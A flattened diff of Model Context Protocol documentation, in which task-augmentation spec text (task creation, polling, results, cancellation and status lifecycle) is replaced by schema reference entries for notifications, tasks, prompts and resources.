+ ### `CancelledNotificationParams` -The set of capabilities in `capabilities.tasks.requests` is exhaustive. If a request type is not present, it does not support task-augmentation. +
interface CancelledNotificationParams \{
  \_meta?: \{ \[key: string]: unknown };
  requestId?: RequestId;
  reason?: string;
}

Parameters for a notifications/cancelled notification.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

requestId?: RequestId

The ID of the request to cancel.

This MUST correspond to the ID of a request previously issued in the same direction. + This MUST be provided for cancelling non-task requests. + This MUST NOT be used for cancelling tasks (use the tasks/cancel request instead).

reason?: string

An optional string describing the reason for the cancellation. This MAY be logged or presented to the user.

+
-`capabilities.tasks.list` controls if the `tasks/list` operation is supported by the party. +## `notifications/initialized` -`capabilities.tasks.cancel` controls if the `tasks/cancel` operation is supported by the party. +
+ ### `InitializedNotification` -### Tool-Level Negotiation +
interface InitializedNotification \{
  jsonrpc: "2.0";
  method: "notifications/initialized";
  params?: NotificationParams;
}

This notification is sent from the client to the server after initialization has finished.

jsonrpc: "2.0"
method: "notifications/initialized"
params?: NotificationParams
+
-Tool calls are given special consideration for the purpose of task augmentation. In the result of `tools/list`, tools declare support for tasks via `execution.taskSupport`, which if present can have a value of `"required"`, `"optional"`, or `"forbidden"`. +## `notifications/tasks/status` -This is to be interpreted as a fine-grained layer in addition to capabilities, following these rules: +
+ ### `TaskStatusNotification` -1. If a server's capabilities do not include `tasks.requests.tools.call`, then clients **MUST NOT** attempt to use task augmentation on that server's tools, regardless of the `execution.taskSupport` value. -2. If a server's capabilities include `tasks.requests.tools.call`, then clients consider the value of `execution.taskSupport`, and handle it accordingly: - 1. If `execution.taskSupport` is not present or `"forbidden"`, clients **MUST NOT** attempt to invoke the tool as a task. Servers **SHOULD** return a `-32601` (Method not found) error if a client attempts to do so. This is the default behavior. - 2. If `execution.taskSupport` is `"optional"`, clients **MAY** invoke the tool as a task or as a normal request. - 3. If `execution.taskSupport` is `"required"`, clients **MUST** invoke the tool as a task. Servers **MUST** return a `-32601` (Method not found) error if a client does not attempt to do so. +
interface TaskStatusNotification \{
  jsonrpc: "2.0";
  method: "notifications/tasks/status";
  params: TaskStatusNotificationParams;
}

An optional notification from the receiver to the requestor, informing them that a task's status has changed. Receivers are not required to send these notifications.

jsonrpc: "2.0"
method: "notifications/tasks/status"
params: TaskStatusNotificationParams
+
-## Protocol Messages +
+ ### `TaskStatusNotificationParams` -### Creating Tasks +
TaskStatusNotificationParams: NotificationParams & Task

Parameters for a notifications/tasks/status notification.

+
-Task-augmented requests follow a two-phase response pattern that differs from normal requests: +## `notifications/message` -* **Normal requests**: The server processes the request and returns the actual operation result directly. -* **Task-augmented requests**: The server accepts the request and immediately returns a `CreateTaskResult` containing task data. The actual operation result becomes available later through `tasks/result` after the task completes. +
+ ### `LoggingMessageNotification` -To create a task, requestors send a request with the `task` field included in the request params. Requestors **MAY** include a `ttl` value indicating the desired task lifetime duration (in milliseconds) since its creation. +
interface LoggingMessageNotification \{
  jsonrpc: "2.0";
  method: "notifications/message";
  params: LoggingMessageNotificationParams;
}

JSONRPCNotification of a log message passed from server to client. If no logging/setLevel request has been sent from the client, the server MAY decide which messages to send automatically.

jsonrpc: "2.0"
method: "notifications/message"
params: LoggingMessageNotificationParams
+
-**Request:** +
+ ### `LoggingMessageNotificationParams` -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "method": "tools/call", - "params": { - "name": "get_weather", - "arguments": { - "city": "New York" - }, - "task": { - "ttl": 60000 - } - } -} -``` +
interface LoggingMessageNotificationParams \{
  \_meta?: \{ \[key: string]: unknown };
  level: LoggingLevel;
  logger?: string;
  data: unknown;
}

Parameters for a notifications/message notification.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

level: LoggingLevel

The severity of this log message.

logger?: string

An optional name of the logger issuing this message.

data: unknown

The data to be logged, such as a string message or an object. Any JSON serializable type is allowed here.

+
-**Response:** +## `notifications/progress` -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "result": { - "task": { - "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840", - "status": "working", - "statusMessage": "The operation is now in progress.", - "createdAt": "2025-11-25T10:30:00Z", - "lastUpdatedAt": "2025-11-25T10:40:00Z", - "ttl": 60000, - "pollInterval": 5000 - } - } -} -``` +
+ ### `ProgressNotification` -When a receiver accepts a task-augmented request, it returns a [`CreateTaskResult`](/specification/2025-11-25/schema#createtaskresult) containing task data. The response does not include the actual operation result. The actual result (e.g., tool result for `tools/call`) becomes available only through `tasks/result` after the task completes. +
interface ProgressNotification \{
  jsonrpc: "2.0";
  method: "notifications/progress";
  params: ProgressNotificationParams;
}

An out-of-band notification used to inform the receiver of a progress update for a long-running request.

jsonrpc: "2.0"
method: "notifications/progress"
params: ProgressNotificationParams
+
- - When a task is created in response to a `tools/call` request, host applications may wish to return control to the model while the task is executing. This allows the model to continue processing other requests or perform additional work while waiting for the task to complete. +
+ ### `ProgressNotificationParams` - To support this pattern, servers can provide an optional `io.modelcontextprotocol/model-immediate-response` key in the `_meta` field of the `CreateTaskResult`. The value of this key should be a string intended to be passed as an immediate tool result to the model. - If a server does not provide this field, the host application can fall back to its own predefined message. +
interface ProgressNotificationParams \{
  \_meta?: \{ \[key: string]: unknown };
  progressToken: ProgressToken;
  progress: number;
  total?: number;
  message?: string;
}

Parameters for a notifications/progress notification.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

progressToken: ProgressToken

The progress token which was given in the initial request, used to associate this notification with the request that is proceeding.

progress: number

The progress thus far. This should increase every time progress is made, even if the total is unknown.

total?: number

Total number of items to process (or total progress required), if known.

message?: string

An optional message describing the current progress.

+
- This guidance is non-binding and is provisional logic intended to account for the specific use case. This behavior may be formalized or modified as part of `CreateTaskResult` in future protocol versions. -
+## `notifications/prompts/list_changed` -### Getting Tasks +
+ ### `PromptListChangedNotification` - - In the Streamable HTTP (SSE) transport, clients **MAY** disconnect from an SSE stream opened by the server in response to a `tasks/get` request at any time. +
interface PromptListChangedNotification \{
  jsonrpc: "2.0";
  method: "notifications/prompts/list\_changed";
  params?: NotificationParams;
}

An optional notification from the server to the client, informing it that the list of prompts it offers has changed. This may be issued by servers without any previous subscription from the client.

jsonrpc: "2.0"
method: "notifications/prompts/list\_changed"
params?: NotificationParams
+
- While this note is not prescriptive regarding the specific usage of SSE streams, all implementations **MUST** continue to comply with the existing [Streamable HTTP transport specification](../transports#sending-messages-to-the-server). - +## `notifications/resources/list_changed` -Requestors poll for task completion by sending [`tasks/get`](/specification/2025-11-25/schema#tasks%2Fget) requests. -Requestors **SHOULD** respect the `pollInterval` provided in responses when determining polling frequency. +
+ ### `ResourceListChangedNotification` -Requestors **SHOULD** continue polling until the task reaches a terminal status (`completed`, `failed`, or `cancelled`), or until encountering the [`input_required`](#input-required-status) status. Note that invoking `tasks/result` does not imply that the requestor needs to stop polling - requestors **SHOULD** continue polling the task status via `tasks/get` if they are not actively waiting for `tasks/result` to complete. +
interface ResourceListChangedNotification \{
  jsonrpc: "2.0";
  method: "notifications/resources/list\_changed";
  params?: NotificationParams;
}

An optional notification from the server to the client, informing it that the list of resources it can read from has changed. This may be issued by servers without any previous subscription from the client.

jsonrpc: "2.0"
method: "notifications/resources/list\_changed"
params?: NotificationParams
+
-**Request:** +## `notifications/resources/updated` -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 3, - "method": "tasks/get", - "params": { - "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840" - } -} -``` +
+ ### `ResourceUpdatedNotification` -**Response:** +
interface ResourceUpdatedNotification \{
  jsonrpc: "2.0";
  method: "notifications/resources/updated";
  params: ResourceUpdatedNotificationParams;
}

A notification from the server to the client, informing it that a resource has changed and may need to be read again. This should only be sent if the client previously sent a resources/subscribe request.

jsonrpc: "2.0"
method: "notifications/resources/updated"
params: ResourceUpdatedNotificationParams
+
-```json theme={null} -{ - "jsonrpc": "2.0", - "id": 3, - "result": { - "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840", - "status": "working", - "statusMessage": "The operation is now in progress.", - "createdAt": "2025-11-25T10:30:00Z", - "lastUpdatedAt": "2025-11-25T10:40:00Z", - "ttl": 30000, - "pollInterval": 5000 - } -} -``` +
+ ### `ResourceUpdatedNotificationParams` -### Retrieving Task Results +
interface ResourceUpdatedNotificationParams \{
  \_meta?: \{ \[key: string]: unknown };
  uri: string;
}

Parameters for a notifications/resources/updated notification.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

uri: string

The URI of the resource that has been updated. This might be a sub-resource of the one that the client actually subscribed to.

+
- - In the Streamable HTTP (SSE) transport, clients **MAY** disconnect from an SSE stream opened by the server in response to a `tasks/result` request at any time. +## `notifications/roots/list_changed` - While this note is not prescriptive regarding the specific usage of SSE streams, all implementations **MUST** continue to comply with the existing [Streamable HTTP transport specification](../transports#sending-messages-to-the-server). - +
+ ### `RootsListChangedNotification` -After a task completes the operation result is retrieved via [`tasks/result`](/specification/2025-11-25/schema#tasks%2Fresult). This is distinct from the initial `CreateTaskResult` response, which contains only task data. The result structure matches the original request type (e.g., `CallToolResult` for `tools/call`). +
interface RootsListChangedNotification \{
  jsonrpc: "2.0";
  method: "notifications/roots/list\_changed";
  params?: NotificationParams;
}

A notification from the client to the server, informing it that the list of roots has changed. + This notification should be sent whenever the client adds, removes, or modifies any root. + The server should then request an updated list of roots using the ListRootsRequest.

jsonrpc: "2.0"
method: "notifications/roots/list\_changed"
params?: NotificationParams
+
-To retrieve the result of a completed task, requestors can send a `tasks/result` request: +## `notifications/tools/list_changed` -While `tasks/result` blocks until the task reaches a terminal status, requestors can continue polling via `tasks/get` in parallel if they are not actively blocked waiting for the result, such as if their previous `tasks/result` request failed or was cancelled. This allows requestors to monitor status changes or display progress updates while the task executes, even after invoking `tasks/result`. +
+ ### `ToolListChangedNotification` -**Request:** +
interface ToolListChangedNotification \{
  jsonrpc: "2.0";
  method: "notifications/tools/list\_changed";
  params?: NotificationParams;
}

An optional notification from the server to the client, informing it that the list of tools it offers has changed. This may be issued by servers without any previous subscription from the client.

jsonrpc: "2.0"
method: "notifications/tools/list\_changed"
params?: NotificationParams
+
-```json theme={null} -{ - "jsonrpc": "2.0", - "id": 4, - "method": "tasks/result", - "params": { - "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840" - } -} -``` +## `notifications/elicitation/complete` -**Response:** +
+ ### `ElicitationCompleteNotification` -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 4, - "result": { - "content": [ - { - "type": "text", - "text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy" - } - ], - "isError": false, - "_meta": { - "io.modelcontextprotocol/related-task": { - "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840" - } - } - } -} -``` +
interface ElicitationCompleteNotification \{
  jsonrpc: "2.0";
  method: "notifications/elicitation/complete";
  params: \{ elicitationId: string };
}

An optional notification from the server to the client, informing it of a completion of a out-of-band elicitation request.

jsonrpc: "2.0"
method: "notifications/elicitation/complete"
params: \{ elicitationId: string }
Type Declaration
  • elicitationId: string

    The ID of the elicitation that completed.

+
-### Task Status Notification +## `ping` -When a task status changes, receivers **MAY** send a [`notifications/tasks/status`](/specification/2025-11-25/schema#notifications%2Ftasks%2Fstatus) notification to inform the requestor of the change. This notification includes the full task state. +
+ ### `PingRequest` -**Notification:** +
interface PingRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "ping";
  params?: RequestParams;
}

A ping, issued by either the server or the client, to check that the other party is still alive. The receiver must promptly respond, or else may be disconnected.

jsonrpc: "2.0"
id: RequestId
method: "ping"
params?: RequestParams
+
-```json theme={null} -{ - "jsonrpc": "2.0", - "method": "notifications/tasks/status", - "params": { - "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840", - "status": "completed", - "createdAt": "2025-11-25T10:30:00Z", - "lastUpdatedAt": "2025-11-25T10:50:00Z", - "ttl": 60000, - "pollInterval": 5000 - } -} -``` +## `tasks` -The notification includes the full [`Task`](/specification/2025-11-25/schema#task) object, including the updated `status` and `statusMessage` (if present). This allows requestors to access the complete task state without making an additional `tasks/get` request. +
+ ### `CreateTaskResult` -Requestors **MUST NOT** rely on receiving this notifications, as it is optional. Receivers are not required to send status notifications and may choose to only send them for certain status transitions. Requestors **SHOULD** continue to poll via `tasks/get` to ensure they receive status updates. +
interface CreateTaskResult \{
  \_meta?: \{ \[key: string]: unknown };
  task: Task;
  \[key: string]: unknown;
}

A response to a task-augmented request.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

task: Task
+
-### Listing Tasks +
+ ### `RelatedTaskMetadata` -To retrieve a list of tasks, requestors can send a [`tasks/list`](/specification/2025-11-25/schema#tasks%2Flist) request. This operation supports pagination. +
interface RelatedTaskMetadata \{
  taskId: string;
}

Metadata for associating messages with a task. + Include this in the \_meta field under the key io.modelcontextprotocol/related-task.

taskId: string

The task identifier this message is associated with.

+
-**Request:** +
+ ### `Task` -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 5, - "method": "tasks/list", - "params": { - "cursor": "optional-cursor-value" - } -} -``` +
interface Task \{
  taskId: string;
  status: TaskStatus;
  statusMessage?: string;
  createdAt: string;
  lastUpdatedAt: string;
  ttl: number | null;
  pollInterval?: number;
}

Data associated with a task.

taskId: string

The task identifier.

status: TaskStatus

Current task state.

statusMessage?: string

Optional human-readable message describing the current task state. + This can provide context for any status, including:

  • Reasons for "cancelled" status
  • Summaries for "completed" status
  • Diagnostic information for "failed" status (e.g., error details, what went wrong)
createdAt: string

ISO 8601 timestamp when the task was created.

lastUpdatedAt: string

ISO 8601 timestamp when the task was last updated.

ttl: number | null

Actual retention duration from creation in milliseconds, null for unlimited.

pollInterval?: number

Suggested polling interval in milliseconds.

+
-**Response:** +
+ ### `TaskMetadata` -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 5, - "result": { - "tasks": [ - { - "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840", - "status": "working", - "createdAt": "2025-11-25T10:30:00Z", - "lastUpdatedAt": "2025-11-25T10:40:00Z", - "ttl": 30000, - "pollInterval": 5000 - }, - { - "taskId": "abc123-def456-ghi789", - "status": "completed", - "createdAt": "2025-11-25T09:15:00Z", - "lastUpdatedAt": "2025-11-25T10:40:00Z", - "ttl": 60000 - } - ], - "nextCursor": "next-page-cursor" - } -} -``` +
interface TaskMetadata \{
  ttl?: number;
}

Metadata for augmenting a request with task execution. + Include this in the task field of the request parameters.

ttl?: number

Requested duration in milliseconds to retain task from creation.

+
-### Cancelling Tasks +
+ ### `TaskStatus` -To explicitly cancel a task, requestors can send a [`tasks/cancel`](/specification/2025-11-25/schema#tasks%2Fcancel) request. +
TaskStatus: "working" | "input\_required" | "completed" | "failed" | "cancelled"

The status of a task.

+
-**Request:** +## `tasks/get` -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 6, - "method": "tasks/cancel", - "params": { - "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840" - } -} -``` +
+ ### `GetTaskRequest` -**Response:** +
interface GetTaskRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "tasks/get";
  params: \{ taskId: string };
}

A request to retrieve the state of a task.

jsonrpc: "2.0"
id: RequestId
method: "tasks/get"
params: \{ taskId: string }
Type Declaration
  • taskId: string

    The task identifier to query.

+
-```json theme={null} -{ - "jsonrpc": "2.0", - "id": 6, - "result": { - "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840", - "status": "cancelled", - "statusMessage": "The task was cancelled by request.", - "createdAt": "2025-11-25T10:30:00Z", - "lastUpdatedAt": "2025-11-25T10:40:00Z", - "ttl": 30000, - "pollInterval": 5000 - } -} -``` +
+ ### `GetTaskResult` + +
GetTaskResult: Result & Task

The response to a tasks/get request.

+
+ +## `tasks/result` + +
+ ### `GetTaskPayloadRequest` -## Behavior Requirements +
interface GetTaskPayloadRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "tasks/result";
  params: \{ taskId: string };
}

A request to retrieve the result of a completed task.

jsonrpc: "2.0"
id: RequestId
method: "tasks/result"
params: \{ taskId: string }
Type Declaration
  • taskId: string

    The task identifier to retrieve results for.

+
-These requirements apply to all parties that support receiving task-augmented requests. +
+ ### `GetTaskPayloadResult` -### Task Support and Handling +
interface GetTaskPayloadResult \{
  \_meta?: \{ \[key: string]: unknown };
  \[key: string]: unknown;
}

The response to a tasks/result request. + The structure matches the result type of the original request. + For example, a tools/call task would return the CallToolResult structure.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
-1. Receivers that do not declare the task capability for a request type **MUST** process requests of that type normally, ignoring any task-augmentation metadata if present. -2. Receivers that declare the task capability for a request type **MAY** return an error for non-task-augmented requests, requiring requestors to use task augmentation. +## `tasks/list` -### Task ID Requirements +
+ ### `ListTasksRequest` -1. Task IDs **MUST** be a string value. -2. Task IDs **MUST** be generated by the receiver when creating a task. -3. Task IDs **MUST** be unique among all tasks controlled by the receiver. +
interface ListTasksRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  params?: PaginatedRequestParams;
  method: "tasks/list";
}

A request to retrieve a list of tasks.

jsonrpc: "2.0"
id: RequestId
params?: PaginatedRequestParams
method: "tasks/list"
+
-### Task Status Lifecycle +
+ ### `ListTasksResult` -1. Tasks **MUST** begin in the `working` status when created. -2. Receivers **MUST** only transition tasks through the following valid paths: - 1. From `working`: may move to `input_required`, `completed`, `failed`, or `cancelled` - 2. From `input_required`: may move to `working`, `completed`, `failed`, or `cancelled` - 3. Tasks with a `completed`, `failed`, or `cancelled` status are in a terminal state and **MUST NOT** transition to any other status +
interface ListTasksResult \{
  \_meta?: \{ \[key: string]: unknown };
  nextCursor?: string;
  tasks: Task\[];
  \[key: string]: unknown;
}

The response to a tasks/list request.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

nextCursor?: string

An opaque token representing the pagination position after the last returned result. + If present, there may be more results available.

tasks: Task\[]
+
-**Task Status State Diagram:** +## `tasks/cancel` -```mermaid theme={null} -stateDiagram-v2 - [*] --> working +
+ ### `CancelTaskRequest` - working --> input_required - working --> terminal +
interface CancelTaskRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "tasks/cancel";
  params: \{ taskId: string };
}

A request to cancel a task.

jsonrpc: "2.0"
id: RequestId
method: "tasks/cancel"
params: \{ taskId: string }
Type Declaration
  • taskId: string

    The task identifier to cancel.

+
- input_required --> working - input_required --> terminal +
+ ### `CancelTaskResult` - terminal --> [*] +
CancelTaskResult: Result & Task

The response to a tasks/cancel request.

+
- note right of terminal - Terminal states: - • completed - • failed - • cancelled - end note -``` +## `prompts/get` -### Input Required Status +
+ ### `GetPromptRequest` - - With the Streamable HTTP (SSE) transport, servers often close SSE streams after delivering a response message, which can lead to ambiguity regarding the stream used for subsequent task messages. +
interface GetPromptRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "prompts/get";
  params: GetPromptRequestParams;
}

Used by the client to get a prompt provided by the server.

jsonrpc: "2.0"
id: RequestId
method: "prompts/get"
params: GetPromptRequestParams
+
- Servers can handle this by enqueueing messages to the client to side-channel task-related messages alongside other responses. +
+ ### `GetPromptRequestParams` - Servers have flexibility in how they manage SSE streams during task polling and result retrieval, and clients **SHOULD** expect messages to be delivered on any SSE stream, including the HTTP GET stream. - One possible approach is maintaining an SSE stream on `tasks/result` (see notes on the `input_required` status). - Where possible, servers **SHOULD NOT** upgrade to an SSE stream in response to a `tasks/get` request, as the client has indicated it wishes to poll for a result. +
interface GetPromptRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  name: string;
  arguments?: \{ \[key: string]: string };
}

Parameters for a prompts/get request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

name: string

The name of the prompt or prompt template.

arguments?: \{ \[key: string]: string }

Arguments to use for templating the prompt.

+
- While this note is not prescriptive regarding the specific usage of SSE streams, all implementations **MUST** continue to comply with the existing [Streamable HTTP transport specification](../transports#sending-messages-to-the-server). - +
+ ### `GetPromptResult` -1. When the task receiver has messages for the requestor that are necessary to complete the task, the receiver **SHOULD** move the task to the `input_required` status. -2. The receiver **MUST** include the `io.modelcontextprotocol/related-task` metadata in the request to associate it with the task. -3. When the requestor encounters the `input_required` status, it **SHOULD** preemptively call `tasks/result`. -4. When the receiver receives all required input, the task **SHOULD** transition out of `input_required` status (typically back to `working`). +
interface GetPromptResult \{
  \_meta?: \{ \[key: string]: unknown };
  description?: string;
  messages: PromptMessage\[];
  \[key: string]: unknown;
}

The server's response to a prompts/get request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

description?: string

An optional description for the prompt.

messages: PromptMessage\[]
+
-### TTL and Resource Management +
+ ### `PromptMessage` -1. Receivers **MUST** include a `createdAt` [ISO 8601](https://datatracker.ietf.org/doc/html/rfc3339#section-5)-formatted timestamp in all task responses to indicate when the task was created. -2. Receivers **MUST** include a `lastUpdatedAt` [ISO 8601](https://datatracker.ietf.org/doc/html/rfc3339#section-5)-formatted timestamp in all task responses to indicate when the task was last updated. -3. Receivers **MAY** override the requested `ttl` duration. -4. Receivers **MUST** include the actual `ttl` duration (or `null` for unlimited) in `tasks/get` responses. -5. After a task's `ttl` lifetime has elapsed, receivers **MAY** delete the task and its results, regardless of the task status. -6. Receivers **MAY** include a `pollInterval` value (in milliseconds) in `tasks/get` responses to suggest polling intervals. Requestors **SHOULD** respect this value when provided. +
interface PromptMessage \{
  role: Role;
  content: ContentBlock;
}

Describes a message returned as part of a prompt.

This is similar to SamplingMessage, but also supports the embedding of + resources from the MCP server.

role: Role
content: ContentBlock
+
-### Result Retrieval +## `prompts/list` -1. Receivers that accept a task-augmented request **MUST** return a `CreateTaskResult` as the response. This result **SHOULD** be returned as soon as possible after accepting the task. -2. When a receiver receives a `tasks/result` request for a task in a terminal status (`completed`, `failed`, or `cancelled`), it **MUST** return the final result of the underlying request, whether that is a successful result or a JSON-RPC error. -3. When a receiver receives a `tasks/result` request for a task in any other non-terminal status (`working` or `input_required`), it **MUST** block the response until the task reaches a terminal status. -4. For tasks in a terminal status, receivers **MUST** return from `tasks/result` exactly what the underlying request would have returned, whether that is a successful result or a JSON-RPC error. +
+ ### `ListPromptsRequest` -### Associating Task-Related Messages +
interface ListPromptsRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  params?: PaginatedRequestParams;
  method: "prompts/list";
}

Sent from the client to request a list of prompts and prompt templates the server has.

jsonrpc: "2.0"
id: RequestId
params?: PaginatedRequestParams
method: "prompts/list"
+
-1. All requests, notifications, and responses related to a task **MUST** include the `io.modelcontextprotocol/related-task` key in their `_meta` field, with the value set to an object with a `taskId` matching the associated task ID. - 1. For example, an elicitation that a task-augmented tool call depends on **MUST** share the same related task ID with that tool call's task. -2. For the `tasks/get`, `tasks/result`, and `tasks/cancel` operations, the `taskId` parameter in the request **MUST** be used as the source of truth for identifying the target task. Requestors **SHOULD NOT** include `io.modelcontextprotocol/related-task` metadata in these requests, and receivers **MUST** ignore such metadata if present in favor of the RPC method parameter. - Similarly, for the `tasks/get`, `tasks/list`, and `tasks/cancel` operations, receivers **SHOULD NOT** include `io.modelcontextprotocol/related-task` metadata in the result messages, as the `taskId` is already present in the response structure. +
+ ### `ListPromptsResult` -### Task Notifications +
interface ListPromptsResult \{
  \_meta?: \{ \[key: string]: unknown };
  nextCursor?: string;
  prompts: Prompt\[];
  \[key: string]: unknown;
}

The server's response to a prompts/list request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

nextCursor?: string

An opaque token representing the pagination position after the last returned result. + If present, there may be more results available.

prompts: Prompt\[]
+
-1. Receivers **MAY** send `notifications/tasks/status` notifications when a task's status changes. -2. Requestors **MUST NOT** rely on receiving the `notifications/tasks/status` notification, as it is optional. -3. When sent, the `notifications/tasks/status` notification **SHOULD NOT** include the `io.modelcontextprotocol/related-task` metadata, as the task ID is already present in the notification parameters. +
+ ### `Prompt` -### Task Progress Notifications +
interface Prompt \{
  icons?: Icon\[];
  name: string;
  title?: string;
  description?: string;
  arguments?: PromptArgument\[];
  \_meta?: \{ \[key: string]: unknown };
}

A prompt or prompt template that the server offers.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, + even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, + where annotations.title should be given precedence over using name, + if present).

description?: string

An optional description of what this prompt provides

arguments?: PromptArgument\[]

A list of arguments to use for templating the prompt.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
-Task-augmented requests support progress notifications as defined in the [progress](./progress) specification. The `progressToken` provided in the initial request remains valid throughout the task lifetime. +
+ ### `PromptArgument` -### Task Listing +
interface PromptArgument \{
  name: string;
  title?: string;
  description?: string;
  required?: boolean;
}

Describes an argument that a prompt can accept.

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, + even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, + where annotations.title should be given precedence over using name, + if present).

description?: string

A human-readable description of the argument.

required?: boolean

Whether this argument must be provided.

+
-1. Receivers **SHOULD** use cursor-based pagination to limit the number of tasks returned in a single response. -2. Receivers **MUST** include a `nextCursor` in the response if more tasks are available. -3. Requestors **MUST** treat cursors as opaque tokens and not attempt to parse or modify them. -4. If a task is retrievable via `tasks/get` for a requestor, it **MUST** be retrievable via `tasks/list` for that requestor. +## `resources/list` -### Task Cancellation +
+ ### `ListResourcesRequest` -1. Receivers **MUST** reject cancellation requests for tasks already in a terminal status (`completed`, `failed`, or `cancelled`) with error code `-32602` (Invalid params). -2. Upon receiving a valid cancellation request, receivers **SHOULD** attempt to stop the task execution and **MUST** transition the task to `cancelled` status before sending the response. -3. Once a task is cancelled, it **MUST** remain in `cancelled` status even if execution continues to completion or fails. -4. The `tasks/cancel` operation does not define deletion behavior. However, receivers **MAY** delete cancelled tasks at their discretion at any time, including immediately after cancellation or after the task `ttl` expires. -5. Requestors **SHOULD NOT** rely on cancelled tasks being retained for any specific duration and should retrieve any needed information before cancelling. +
interface ListResourcesRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  params?: PaginatedRequestParams;
  method: "resources/list";
}

Sent from the client to request a list of resources the server has.

jsonrpc: "2.0"
id: RequestId
params?: PaginatedRequestParams
method: "resources/list"
+
-## Message Flow +
+ ### `ListResourcesResult` -### Basic Task Lifecycle +
interface ListResourcesResult \{
  \_meta?: \{ \[key: string]: unknown };
  nextCursor?: string;
  resources: Resource\[];
  \[key: string]: unknown;
}

The server's response to a resources/list request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

nextCursor?: string

An opaque token representing the pagination position after the last returned result. + If present, there may be more results available.

resources: Resource\[]
+
-```mermaid theme={null} -sequenceDiagram - participant C as Client (Requestor) - participant S as Server (Receiver) - Note over C,S: 1. Task Creation - C->>S: Request with task field (ttl) - activate S - S->>C: CreateTaskResult (taskId, status: working, ttl, pollInterval) - deactivate S - Note over C,S: 2. Task Polling - C->>S: tasks/get (taskId) - activate S - S->>C: working - deactivate S - Note over S: Task processing continues... - C->>S: tasks/get (taskId) - activate S - S->>C: working - deactivate S - Note over S: Task completes - C->>S: tasks/get (taskId) - activate S - S->>C: completed - deactivate S - Note over C,S: 3. Result Retrieval - C->>S: tasks/result (taskId) - activate S - S->>C: Result content - deactivate S - Note over C,S: 4. Cleanup - Note over S: After ttl period from creation, task is cleaned up -``` +
+ ### `Resource` -### Task-Augmented Tool Call With Elicitation +
interface Resource \{
  icons?: Icon\[];
  name: string;
  title?: string;
  uri: string;
  description?: string;
  mimeType?: string;
  annotations?: Annotations;
  size?: number;
  \_meta?: \{ \[key: string]: unknown };
}

A known resource that the server is capable of reading.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, + even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, + where annotations.title should be given precedence over using name, + if present).

uri: string

The URI of this resource.

description?: string

A description of what this resource represents.

This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.

mimeType?: string

The MIME type of this resource, if known.

annotations?: Annotations

Optional annotations for the client.

size?: number

The size of the raw resource content, in bytes (i.e., before base64 encoding or any tokenization), if known.

This can be used by Hosts to display file sizes and estimate context window usage.

\_meta?: \{ \[key: string]: unknown }

